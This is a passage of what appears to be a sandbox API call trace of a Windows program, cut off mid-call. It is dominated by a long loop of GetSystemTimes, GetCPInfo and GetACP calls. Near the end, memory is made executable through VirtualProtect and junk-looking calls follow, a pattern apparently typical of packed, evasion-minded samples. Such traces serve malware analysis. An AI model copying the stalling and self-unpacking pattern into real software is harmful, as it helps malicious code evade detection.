lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.473] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.473] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.474] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.474] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.474] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.474] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.474] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.474] GetACP () returned 0x4e4 [0093.474] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.474] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.475] GetACP () returned 0x4e4 [0093.475] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.476] GetACP () returned 0x4e4 [0093.476] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.476] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.477] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.477] GetACP () returned 0x4e4 [0093.477] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.478] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.478] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.478] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.479] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.479] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.479] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.480] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.480] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.480] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.480] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.480] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.480] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.480] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.480] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.480] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.480] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.480] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.480] GetACP () returned 0x4e4 [0093.480] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.481] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.481] GetACP () returned 0x4e4 [0093.481] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.482] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.482] GetACP () returned 0x4e4 [0093.482] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.482] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.482] GetACP () returned 0x4e4 [0093.482] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.482] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.482] GetACP () returned 0x4e4 [0093.482] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.482] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.482] GetACP () returned 0x4e4 [0093.482] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.482] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.482] GetACP () returned 0x4e4 [0093.482] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.482] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.483] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.483] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.483] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.483] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.483] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.483] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.484] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.484] GetACP () returned 0x4e4 [0093.484] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.484] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.484] GetACP () returned 0x4e4 [0093.484] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.484] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.484] GetACP () returned 0x4e4 [0093.484] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.484] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.484] GetACP () returned 0x4e4 [0093.620] VirtualProtect (in: lpAddress=0x525ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0093.623] AddAtomA (lpString=0x0) returned 0x0 [0093.623] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.623] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.623] AddAtomA (lpString=0x0) returned 0x0 [0093.623] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.623] GetCurrentDirectoryA (in: 